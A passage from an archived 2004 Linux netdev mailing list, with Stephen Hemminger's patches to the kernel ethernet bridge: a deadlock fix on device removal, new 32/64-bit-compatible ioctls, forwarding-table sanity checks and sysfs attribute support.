-EFAULT; buf[IFNAMSIZ-1] = 0; - if (cmd == BRCTL_ADD_BRIDGE) + if (args[0] == BRCTL_ADD_BRIDGE) return br_add_bridge(buf); return br_del_bridge(buf); @@ -296,15 +328,4 @@ } return -EOPNOTSUPP; -} - - -int br_ioctl_deviceless_stub(unsigned long arg) -{ - unsigned long i[3]; - - if (copy_from_user(i, (void *)arg, 3*sizeof(unsigned long))) - return -EFAULT; - - return br_ioctl_deviceless(i[0], i[1], i[2]); } diff -Nru a/net/bridge/br_private.h b/net/bridge/br_private.h --- a/net/bridge/br_private.h 2004-05-20 10:51:05 -07:00 +++ b/net/bridge/br_private.h 2004-05-20 10:51:05 -07:00 @@ -168,22 +168,14 @@ struct net_device *dev); extern int br_del_if(struct net_bridge *br, struct net_device *dev); -extern int br_get_bridge_ifindices(int *indices, - int num); -extern void br_get_port_ifindices(struct net_bridge *br, - int *ifindices, int num); /* br_input.c */ extern int br_handle_frame_finish(struct sk_buff *skb); extern int br_handle_frame(struct sk_buff *skb); /* br_ioctl.c */ -extern int br_ioctl_device(struct net_bridge *br, - unsigned int cmd, - unsigned long arg0, - unsigned long arg1, - unsigned long arg2); extern int br_ioctl_deviceless_stub(unsigned long arg); +extern int br_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); /* br_netfilter.c */ extern int br_netfilter_init(void); From shemminger@osdl.org Fri May 21 16:14:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 16:15:10 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LNDxKO005003 for ; Fri, 21 May 2004 16:14:02 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LNDlr22175; Fri, 21 May 2004 16:13:47 -0700 Date: Fri, 21 May 2004 16:13:47 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (5/11) bridge - fix deadlock on device removal. Message-Id: <20040521161347.090a35f4@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5230 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Fix a deadlock where deleting a device call br_del_if with lock held. br_del_if doesn't want to be called under lock anymore. diff -Nru a/net/bridge/br_notify.c b/net/bridge/br_notify.c --- a/net/bridge/br_notify.c 2004-05-21 16:12:47 -07:00 +++ b/net/bridge/br_notify.c 2004-05-21 16:12:47 -07:00 @@ -38,30 +38,35 @@ br = p->br; - spin_lock_bh(&br->lock); - switch (event) - { + switch (event) { case NETDEV_CHANGEADDR: + spin_lock_bh(&br->lock); br_fdb_changeaddr(p, dev->dev_addr); if (br->dev->flags & IFF_UP) br_stp_recalculate_bridge_id(br); + spin_unlock_bh(&br->lock); break; case NETDEV_DOWN: - if (br->dev->flags & IFF_UP) + if (br->dev->flags & IFF_UP) { + spin_lock_bh(&br->lock); br_stp_disable_port(p); + spin_unlock_bh(&br->lock); + } break; case NETDEV_UP: - if (br->dev->flags & IFF_UP) + if (br->dev->flags & IFF_UP) { + spin_lock_bh(&br->lock); br_stp_enable_port(p); + spin_unlock_bh(&br->lock); + } break; case NETDEV_UNREGISTER: br_del_if(br, dev); break; } - spin_unlock_bh(&br->lock); return NOTIFY_DONE; } From shemminger@osdl.org Fri May 21 16:39:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 16:40:11 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LNdUKO008498 for ; Fri, 21 May 2004 16:39:30 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LNdIr27607; Fri, 21 May 2004 16:39:18 -0700 Date: Fri, 21 May 2004 16:39:18 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (9/11) bridge -- new ioctl interface for 32/64 compatiablity Message-Id: <20040521163918.14c799d6@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5235 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Add four new ioctl's for the operations that can't be done through sysfs. The existing bridge ioctl's are multiplexed, and most go through SIOCDEVPRIVATE so they won't work in a mixed 32/64bit environment. The new release of bridge-utils will use these if possible, and fall back to the old interface. diff -Nru a/include/linux/if_bridge.h b/include/linux/if_bridge.h --- a/include/linux/if_bridge.h 2004-05-20 14:46:10 -07:00 +++ b/include/linux/if_bridge.h 2004-05-20 14:46:10 -07:00 @@ -104,7 +104,7 @@ #include -extern void brioctl_set(int (*ioctl_hook)(unsigned long)); +extern void brioctl_set(int (*ioctl_hook)(unsigned int, unsigned long)); extern int (*br_handle_frame_hook)(struct sk_buff *skb); extern int (*br_should_route_hook)(struct sk_buff **pskb); diff -Nru a/include/linux/sockios.h b/include/linux/sockios.h --- a/include/linux/sockios.h 2004-05-20 14:46:10 -07:00 +++ b/include/linux/sockios.h 2004-05-20 14:46:10 -07:00 @@ -116,6 +116,12 @@ #define SIOCBONDINFOQUERY 0x8994 /* rtn info about bond state */ #define SIOCBONDCHANGEACTIVE 0x8995 /* update to a new active slave */ +/* bridge calls */ +#define SIOCBRADDBR 0x89a0 /* create new bridge device */ +#define SIOCBRDELBR 0x89a1 /* remove bridge device */ +#define SIOCBRADDIF 0x89a2 /* add interface to bridge */ +#define SIOCBRDELIF 0x89a3 /* remove interface from bridge */ + /* Device private ioctl calls */ /* diff -Nru a/net/bridge/br_ioctl.c b/net/bridge/br_ioctl.c --- a/net/bridge/br_ioctl.c 2004-05-20 14:46:10 -07:00 +++ b/net/bridge/br_ioctl.c 2004-05-20 14:46:10 -07:00 @@ -78,13 +78,36 @@ return num; } -int br_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) +static int add_del_if(struct net_bridge *br, int ifindex, int isadd) +{ + struct net_device *dev; + int ret; + + if (!capable(CAP_NET_ADMIN)) + return -EPERM; + + dev = dev_get_by_index(ifindex); + if (dev == NULL) + return -EINVAL; + + if (isadd) + ret = br_add_if(br, dev); + else + ret = br_del_if(br, dev); + + dev_put(dev); + return ret; +} + +/* + * Legacy ioctl's through SIOCDEVPRIVATE + * This interface is deprecated because it was too difficult to + * to do the translation for 32/64bit ioctl compatability. + */ +static int old_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct net_bridge *br = netdev_priv(dev); unsigned long args[4]; - - if (cmd != SIOCDEVPRIVATE) - return -EOPNOTSUPP; if (copy_from_user(args, rq->ifr_data, sizeof(args))) return -EFAULT; @@ -92,25 +115,7 @@ switch (args[0]) { case BRCTL_ADD_IF: case BRCTL_DEL_IF: - { - struct net_device *dev; - int ret; - - if (!capable(CAP_NET_ADMIN)) - return -EPERM; - - dev = dev_get_by_index(args[1]); - if (dev == NULL) - return -EINVAL; - - if (args[0] == BRCTL_ADD_IF) - ret = br_add_if(br, dev); - else - ret = br_del_if(br, dev); - - dev_put(dev); - return ret; - } + return add_del_if(br, args[1], args[0] == BRCTL_ADD_IF); case BRCTL_GET_BRIDGE_INFO: { @@ -303,8 +308,7 @@ return -EOPNOTSUPP; } - -int br_ioctl_deviceless_stub(unsigned long uarg) +static int old_deviceless(unsigned long uarg) { unsigned long args[3]; @@ -354,5 +358,51 @@ } } + return -EOPNOTSUPP; +} + +int br_ioctl_deviceless_stub(unsigned int cmd, unsigned long uarg) +{ + switch (cmd) { + case SIOCGIFBR: + case SIOCSIFBR: + return old_deviceless(uarg); + + case SIOCBRADDBR: + case SIOCBRDELBR: + { + char buf[IFNAMSIZ]; + + if (!capable(CAP_NET_ADMIN)) + return -EPERM; + + if (copy_from_user(buf, (void __user *) uarg, IFNAMSIZ)) + return -EFAULT; + + buf[IFNAMSIZ-1] = 0; + if (cmd == SIOCBRADDBR) + return br_add_bridge(buf); + + return br_del_bridge(buf); + } + } + return -EOPNOTSUPP; +} + +int br_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) +{ + struct net_bridge *br = netdev_priv(dev); + + switch(cmd) { + case SIOCDEVPRIVATE: + return old_dev_ioctl(dev, rq, cmd); + + case SIOCBRADDIF: + case SIOCBRDELIF: + return add_del_if(br, rq->ifr_ifindex, cmd == SIOCBRADDIF); + + } + + printk(KERN_DEBUG "Bridge does not support ioctl 0x%x\n", cmd); return -EOPNOTSUPP; } diff -Nru a/net/bridge/br_private.h b/net/bridge/br_private.h --- a/net/bridge/br_private.h 2004-05-20 14:46:10 -07:00 +++ b/net/bridge/br_private.h 2004-05-20 14:46:10 -07:00 @@ -173,8 +173,8 @@ extern int br_handle_frame(struct sk_buff *skb); /* br_ioctl.c */ -extern int br_ioctl_deviceless_stub(unsigned long arg); extern int br_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); +extern int br_ioctl_deviceless_stub(unsigned int cmd, unsigned long arg); /* br_netfilter.c */ extern int br_netfilter_init(void); diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c 2004-05-20 14:46:10 -07:00 +++ b/net/core/dev.c 2004-05-20 14:46:10 -07:00 @@ -2519,6 +2519,8 @@ cmd == SIOCGMIIPHY || cmd == SIOCGMIIREG || cmd == SIOCSMIIREG || + cmd == SIOCBRADDIF || + cmd == SIOCBRDELIF || cmd == SIOCWANDEV) { err = -EOPNOTSUPP; if (dev->do_ioctl) { @@ -2673,6 +2675,8 @@ case SIOCBONDSLAVEINFOQUERY: case SIOCBONDINFOQUERY: case SIOCBONDCHANGEACTIVE: + case SIOCBRADDIF: + case SIOCBRDELIF: if (!capable(CAP_NET_ADMIN)) return -EPERM; dev_load(ifr.ifr_name); diff -Nru a/net/socket.c b/net/socket.c --- a/net/socket.c 2004-05-20 14:46:10 -07:00 +++ b/net/socket.c 2004-05-20 14:46:10 -07:00 @@ -727,9 +727,9 @@ */ static DECLARE_MUTEX(br_ioctl_mutex); -static int (*br_ioctl_hook)(unsigned long arg) = NULL; +static int (*br_ioctl_hook)(unsigned int cmd, unsigned long arg) = NULL; -void brioctl_set(int (*hook)(unsigned long)) +void brioctl_set(int (*hook)(unsigned int, unsigned long)) { down(&br_ioctl_mutex); br_ioctl_hook = hook; @@ -794,13 +794,15 @@ break; case SIOCGIFBR: case SIOCSIFBR: + case SIOCBRADDBR: + case SIOCBRDELBR: err = -ENOPKG; if (!br_ioctl_hook) request_module("bridge"); down(&br_ioctl_mutex); if (br_ioctl_hook) - err = br_ioctl_hook(arg); + err = br_ioctl_hook(cmd, arg); up(&br_ioctl_mutex); break; case SIOCGIFVLAN: From shemminger@osdl.org Fri May 21 16:39:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 16:39:56 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LNdaKO008520 for ; Fri, 21 May 2004 16:39:36 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LNdNr27618; Fri, 21 May 2004 16:39:23 -0700 Date: Fri, 21 May 2004 16:39:23 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (11/11) bridge -- forwarding table sanity checks Message-Id: <20040521163923.4d558723@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5234 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Forwarding table paranoia: * Solve some potential problems if a device changes address and one or more device has the same address. * Warn if new device added to a bridge matches a entry that has shown up on the network. * Also don't put static entries in the timer list, they don't time out so shouldn't be there. diff -Nru a/net/bridge/br_fdb.c b/net/bridge/br_fdb.c --- a/net/bridge/br_fdb.c 2004-05-21 15:39:18 -07:00 +++ b/net/bridge/br_fdb.c 2004-05-21 15:39:18 -07:00 @@ -23,6 +23,8 @@ #include "br_private.h" static kmem_cache_t *br_fdb_cache; +static int fdb_insert(struct net_bridge *br, struct net_bridge_port *source, + const unsigned char *addr, int is_local); void __init br_fdb_init(void) { @@ -72,37 +74,49 @@ static __inline__ void fdb_delete(struct net_bridge_fdb_entry *f) { hlist_del(&f->hlist); - list_del(&f->age_list); + if (!f->is_static) + list_del(&f->age_list); + br_fdb_put(f); } void br_fdb_changeaddr(struct net_bridge_port *p, const unsigned char *newaddr) { - struct net_bridge *br; + struct net_bridge *br = p->br; int i; - int newhash = br_mac_hash(newaddr); - - br = p->br; + write_lock_bh(&br->hash_lock); - for (i=0;ihash[i]) { - struct net_bridge_fdb_entry *f - = hlist_entry(h, struct net_bridge_fdb_entry, hlist); + struct net_bridge_fdb_entry *f; + f = hlist_entry(h, struct net_bridge_fdb_entry, hlist); if (f->dst == p && f->is_local) { - memcpy(f->addr.addr, newaddr, ETH_ALEN); - if (newhash != i) { - hlist_del(&f->hlist); - hlist_add_head(&f->hlist, - &br->hash[newhash]); + /* maybe another port has same hw addr? */ + struct net_bridge_port *op; + list_for_each_entry(op, &br->port_list, list) { + if (op != p && + !memcmp(op->dev->dev_addr, + f->addr.addr, ETH_ALEN)) { + f->dst = op; + goto insert; + } } - goto out; + + /* delete old one */ + fdb_delete(f); + goto insert; } } } - out: + insert: + /* insert new address, may fail if invalid address or dup. */ + fdb_insert(br, p, newaddr, 1); + + write_unlock_bh(&br->hash_lock); } @@ -121,11 +135,10 @@ unsigned long expires = f->ageing_timer + delay; if (time_before_eq(expires, jiffies)) { - if (!f->is_static) { - pr_debug("expire age %lu jiffies %lu\n", - f->ageing_timer, jiffies); - fdb_delete(f); - } + WARN_ON(f->is_static); + pr_debug("expire age %lu jiffies %lu\n", + f->ageing_timer, jiffies); + fdb_delete(f); } else { mod_timer(&br->gc_timer, expires); break; @@ -139,7 +152,7 @@ int i; write_lock_bh(&br->hash_lock); - for (i=0;ihash[i]) { @@ -247,50 +260,52 @@ return num; } -int br_fdb_insert(struct net_bridge *br, struct net_bridge_port *source, +static int fdb_insert(struct net_bridge *br, struct net_bridge_port *source, const unsigned char *addr, int is_local) { struct hlist_node *h; struct net_bridge_fdb_entry *fdb; int hash = br_mac_hash(addr); - int ret = 0; if (!is_valid_ether_addr(addr)) return -EADDRNOTAVAIL; - write_lock_bh(&br->hash_lock); - hlist_for_each(h, &br->hash[hash]) { - fdb = hlist_entry(h, struct net_bridge_fdb_entry, hlist); + hlist_for_each_entry(fdb, h, &br->hash[hash], hlist) { if (!memcmp(fdb->addr.addr, addr, ETH_ALEN)) { /* attempt to update an entry for a local interface */ - if (unlikely(fdb->is_local)) { + if (fdb->is_local) { /* it is okay to have multiple ports with same * address, just don't allow to be spoofed. */ - if (!is_local) { - if (net_ratelimit()) - printk(KERN_WARNING "%s: received packet with " - " own address as source address\n", - source->dev->name); - ret = -EEXIST; - } - goto out; + if (is_local) + return 0; + + if (net_ratelimit()) + printk(KERN_WARNING "%s: received packet with " + " own address as source address\n", + source->dev->name); + return -EEXIST; } - if (likely(!fdb->is_static || is_local)) { - /* move to end of age list */ - list_del(&fdb->age_list); + if (is_local) { + printk(KERN_WARNING "%s adding interface with same address " + "as a received packet\n", + source->dev->name); goto update; } - goto out; + + if (fdb->is_static) + return 0; + + /* move to end of age list */ + list_del(&fdb->age_list); + goto update; } } fdb = kmem_cache_alloc(br_fdb_cache, GFP_ATOMIC); - if (unlikely(fdb == NULL)) { - ret = -ENOMEM; - goto out; - } + if (!fdb) + return ENOMEM; memcpy(fdb->addr.addr, addr, ETH_ALEN); atomic_set(&fdb->use_count, 1); @@ -306,9 +321,19 @@ fdb->is_local = is_local; fdb->is_static = is_local; fdb->ageing_timer = jiffies; - list_add_tail(&fdb->age_list, &br->age_list); - out: - write_unlock_bh(&br->hash_lock); + if (!is_local) + list_add_tail(&fdb->age_list, &br->age_list); + + return 0; +} + +int br_fdb_insert(struct net_bridge *br, struct net_bridge_port *source, + const unsigned char *addr, int is_local) +{ + int ret; + write_lock_bh(&br->hash_lock); + ret = fdb_insert(br, source, addr, is_local); + write_unlock_bh(&br->hash_lock); return ret; } From shemminger@osdl.org Fri May 21 16:39:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 16:40:21 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LNdTKO008496 for ; Fri, 21 May 2004 16:39:30 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LNdEr27602; Fri, 21 May 2004 16:39:14 -0700 Date: Fri, 21 May 2004 16:39:14 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (8/11) bridge -- add sysfs support Message-Id: <20040521163914.1bb01283@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5236 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev # This is a BitKeeper generated diff -Nru style patch. Add sysfs attributes for bridges. This allows for easier management, and solves some of the 64/32bit compatibility issues. New entries are: sys/class/net |-- br0 | |-- brforward | |-- bridge | | |-- ageing_time | | |-- bridge_id | | |-- forward_delay | | |-- gc_timer | | |-- hello_time | | |-- hello_timer | | |-- max_age | | |-- priority | | |-- root_id | | |-- root_path_cost | | |-- root_port | | |-- stp_state | | |-- tcn_timer | | |-- topology_change | | |-- topology_change_detected | | `-- topology_change_timer | |-- brif | | |-- dummy0 -> ../../../../class/net/dummy0/brport | | `-- dummy1 -> ../../../../class/net/dummy1/brport ... |-- dummy0 | |-- brport | | |-- bridge -> ../../../../class/net/br0 | | |-- change_ack | | |-- config_pending | | |-- designated_bridge | | |-- designated_cost | | |-- designated_port | | |-- designated_root | | |-- forward_delay_timer | | |-- hold_timer | | |-- message_age_timer | | |-- path_cost | | |-- port_id | | |-- port_no | | |-- priority | | `-- state diff -Nru a/include/linux/if_bridge.h b/include/linux/if_bridge.h --- a/include/linux/if_bridge.h 2004-05-21 16:27:21 -07:00 +++ b/include/linux/if_bridge.h 2004-05-21 16:27:21 -07:00 @@ -17,6 +17,12 @@ #include +#define SYSFS_BRIDGE_ATTR "bridge" +#define SYSFS_BRIDGE_FDB "brforward" +#define SYSFS_BRIDGE_PORT_SUBDIR "brif" +#define SYSFS_BRIDGE_PORT_ATTR "brport" +#define SYSFS_BRIDGE_PORT_LINK "bridge" + #define BRCTL_VERSION 1 #define BRCTL_GET_VERSION 0 diff -Nru a/net/bridge/Makefile b/net/bridge/Makefile --- a/net/bridge/Makefile 2004-05-21 16:27:21 -07:00 +++ b/net/bridge/Makefile 2004-05-21 16:27:21 -07:00 @@ -8,6 +8,8 @@ br_ioctl.o br_notify.o br_stp.o br_stp_bpdu.o \ br_stp_if.o br_stp_timer.o +bridge-$(CONFIG_SYSFS) += br_sysfs_if.o br_sysfs_br.o + bridge-$(CONFIG_BRIDGE_NETFILTER) += br_netfilter.o obj-$(CONFIG_BRIDGE_NF_EBTABLES) += netfilter/ diff -Nru a/net/bridge/br.c b/net/bridge/br.c --- a/net/bridge/br.c 2004-05-21 16:27:21 -07:00 +++ b/net/bridge/br.c 2004-05-21 16:27:21 -07:00 @@ -33,6 +33,8 @@ { br_fdb_init(); + br_sysfs_init(); + #ifdef CONFIG_BRIDGE_NETFILTER if (br_netfilter_init()) return 1; @@ -67,6 +69,7 @@ #endif br_handle_frame_hook = NULL; + br_sysfs_fini(); br_fdb_fini(); } diff -Nru a/net/bridge/br_if.c b/net/bridge/br_if.c --- a/net/bridge/br_if.c 2004-05-21 16:27:21 -07:00 +++ b/net/bridge/br_if.c 2004-05-21 16:27:21 -07:00 @@ -81,8 +81,11 @@ struct net_device *dev = p->dev; dev->br_port = NULL; + p->br = NULL; + p->dev = NULL; dev_put(dev); - kfree(p); + + br_sysfs_freeif(p); } /* called with RTNL */ @@ -111,14 +114,16 @@ /* called with RTNL */ static void del_br(struct net_bridge *br) { - struct list_head *p, *n; + struct net_bridge_port *p, *n; - list_for_each_safe(p, n, &br->port_list) { - del_nbp(list_entry(p, struct net_bridge_port, list)); + list_for_each_entry_safe(p, n, &br->port_list, list) { + br_sysfs_removeif(p); + del_nbp(p); } del_timer_sync(&br->gc_timer); + br_sysfs_delbr(br->dev); unregister_netdevice(br->dev); } @@ -210,6 +215,7 @@ p->port_no = index; br_init_port(p); p->state = BR_STATE_DISABLED; + kobject_init(&p->kobj); return p; } @@ -223,10 +229,37 @@ if (!dev) return -ENOMEM; - ret = register_netdev(dev); + rtnl_lock(); + if (strchr(dev->name, '%')) { + ret = dev_alloc_name(dev, dev->name); + if (ret < 0) + goto err1; + } + + ret = register_netdevice(dev); if (ret) - free_netdev(dev); + goto err2; + + /* network device kobject is not setup until + * after rtnl_unlock does it's hotplug magic. + * so hold reference to avoid race. + */ + dev_hold(dev); + rtnl_unlock(); + + ret = br_sysfs_addbr(dev); + dev_put(dev); + + if (ret) + unregister_netdev(dev); + out: return ret; + + err2: + free_netdev(dev); + err1: + rtnl_unlock(); + goto out; } int br_del_bridge(const char *name) @@ -277,6 +310,8 @@ if ((err = br_fdb_insert(br, p, dev->dev_addr, 1))) destroy_nbp(p); + else if ((err = br_sysfs_addif(p))) + del_nbp(p); else { dev_set_promiscuity(dev, 1); @@ -300,6 +335,7 @@ if (!p || p->br != br) return -EINVAL; + br_sysfs_removeif(p); del_nbp(p); spin_lock_bh(&br->lock); diff -Nru a/net/bridge/br_private.h b/net/bridge/br_private.h --- a/net/bridge/br_private.h 2004-05-21 16:27:21 -07:00 +++ b/net/bridge/br_private.h 2004-05-21 16:27:21 -07:00 @@ -76,6 +76,7 @@ struct timer_list forward_delay_timer; struct timer_list hold_timer; struct timer_list message_age_timer; + struct kobject kobj; struct rcu_head rcu; }; @@ -110,6 +111,7 @@ struct timer_list tcn_timer; struct timer_list topology_change_timer; struct timer_list gc_timer; + struct kobject ifobj; }; extern struct notifier_block br_device_notifier; @@ -198,6 +200,7 @@ u8 newprio); extern void br_stp_set_path_cost(struct net_bridge_port *p, u32 path_cost); +extern ssize_t br_show_bridge_id(char *buf, const struct bridge_id *id); /* br_stp_bpdu.c */ extern int br_stp_handle_bpdu(struct sk_buff *skb); @@ -206,5 +209,29 @@ extern void br_stp_timer_init(struct net_bridge *br); extern void br_stp_port_timer_init(struct net_bridge_port *p); extern unsigned long br_timer_value(const struct timer_list *timer); + +#ifdef CONFIG_SYSFS +/* br_sysfs_if.c */ +extern int br_sysfs_addif(struct net_bridge_port *p); +extern void br_sysfs_removeif(struct net_bridge_port *p); +extern void br_sysfs_freeif(struct net_bridge_port *p); + +/* br_sysfs_br.c */ +extern struct subsystem bridge_subsys; +extern void br_sysfs_init(void); +extern void br_sysfs_fini(void); +extern int br_sysfs_addbr(struct net_device *dev); +extern void br_sysfs_delbr(struct net_device *dev); + +#else + +#define br_sysfs_addif(p) (0) +#define br_sysfs_removeif(p) do { } while(0) +#define br_sysfs_freeif(p) kfree(p) +#define br_sysfs_init() do { } while(0) +#define br_sysfs_fini() do { } while(0) +#define br_sysfs_addbr(dev) (0) +#define br_sysfs_delbr(dev) do { } while(0) +#endif /* CONFIG_SYSFS */ #endif diff -Nru a/net/bridge/br_stp_if.c b/net/bridge/br_stp_if.c --- a/net/bridge/br_stp_if.c 2004-05-21 16:27:21 -07:00 +++ b/net/bridge/br_stp_if.c 2004-05-21 16:27:21 -07:00 @@ -212,3 +212,11 @@ br_configuration_update(p->br); br_port_state_selection(p->br); } + +ssize_t br_show_bridge_id(char *buf, const struct bridge_id *id) +{ + return sprintf(buf, "%.2x%.2x.%.2x%.2x%.2x%.2x%.2x%.2x\n", + id->prio[0], id->prio[1], + id->addr[0], id->addr[1], id->addr[2], + id->addr[3], id->addr[4], id->addr[5]); +} diff -Nru a/net/bridge/br_sysfs_br.c b/net/bridge/br_sysfs_br.c --- /dev/null Wed Dec 31 16:00:00 196900 +++ b/net/bridge/br_sysfs_br.c 2004-05-21 16:27:21 -07:00 @@ -0,0 +1,383 @@ +/* + * Sysfs attributes of bridge ports + * Linux ethernet bridge + * + * Authors: + * Stephen Hemminger + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include +#include +#include +#include +#include + +#include "br_private.h" + +#define to_class_dev(obj) container_of(obj,struct class_device,kobj) +#define to_net_dev(class) container_of(class, struct net_device, class_dev) +#define to_bridge(cd) ((struct net_bridge *)(to_net_dev(cd)->priv)) + +/* + * Common code for storing bridge parameters. + */ +static ssize_t store_bridge_parm(struct class_device *cd, + const char *buf, size_t len, + void (*set)(struct net_bridge *, unsigned long)) +{ + struct net_bridge *br = to_bridge(cd); + char *endp; + unsigned long val; + + if (!capable(CAP_NET_ADMIN)) + return -EPERM; + + val = simple_strtoul(buf, &endp, 0); + if (endp == buf) + return -EINVAL; + + spin_lock_bh(&br->lock); + (*set)(br, val); + spin_unlock_bh(&br->lock); + return len; +} + + +static ssize_t show_forward_delay(struct class_device *cd, char *buf) +{ + struct net_bridge *br = to_bridge(cd); + return sprintf(buf, "%lu\n", jiffies_to_clock_t(br->forward_delay)); +} + +static void set_forward_delay(struct net_bridge *br, unsigned long val) +{ + unsigned long delay = clock_t_to_jiffies(val); + br->forward_delay = delay; + if (br_is_root_bridge(br)) + br->bridge_forward_delay = delay; +} + +static ssize_t store_forward_delay(struct class_device *cd, const char *buf, + size_t len) +{ + return store_bridge_parm(cd, buf, len, set_forward_delay); +} +static CLASS_DEVICE_ATTR(forward_delay, S_IRUGO | S_IWUSR, + show_forward_delay, store_forward_delay); + +static ssize_t show_hello_time(struct class_device *cd, char *buf) +{ + return sprintf(buf, "%lu\n", + jiffies_to_clock_t(to_bridge(cd)->hello_time)); +} + +static void set_hello_time(struct net_bridge *br, unsigned long val) +{ + unsigned long t = clock_t_to_jiffies(val); + br->hello_time = t; + if (br_is_root_bridge(br)) + br->bridge_hello_time = t; +} + +static ssize_t store_hello_time(struct class_device *cd, const char *buf, + size_t len) +{ + return store_bridge_parm(cd, buf, len, set_hello_time); +} + +static CLASS_DEVICE_ATTR(hello_time, S_IRUGO | S_IWUSR, show_hello_time, + store_hello_time); + +static ssize_t show_max_age(struct class_device *cd, char *buf) +{ + return sprintf(buf, "%lu\n", + jiffies_to_clock_t(to_bridge(cd)->max_age)); +} + +static void set_max_age(struct net_bridge *br, unsigned long val) +{ + unsigned long t = clock_t_to_jiffies(val); + br->max_age = t; + if (br_is_root_bridge(br)) + br->bridge_max_age = t; +} + +static ssize_t store_max_age(struct class_device *cd, const char *buf, + size_t len) +{ + return store_bridge_parm(cd, buf, len, set_max_age); +} + +static CLASS_DEVICE_ATTR(max_age, S_IRUGO | S_IWUSR, show_max_age, + store_max_age); + +static ssize_t show_ageing_time(struct class_device *cd, char *buf) +{ + struct net_bridge *br = to_bridge(cd); + return sprintf(buf, "%lu\n", jiffies_to_clock_t(br->ageing_time)); +} + +static void set_ageing_time(struct net_bridge *br, unsigned long val) +{ + br->ageing_time = 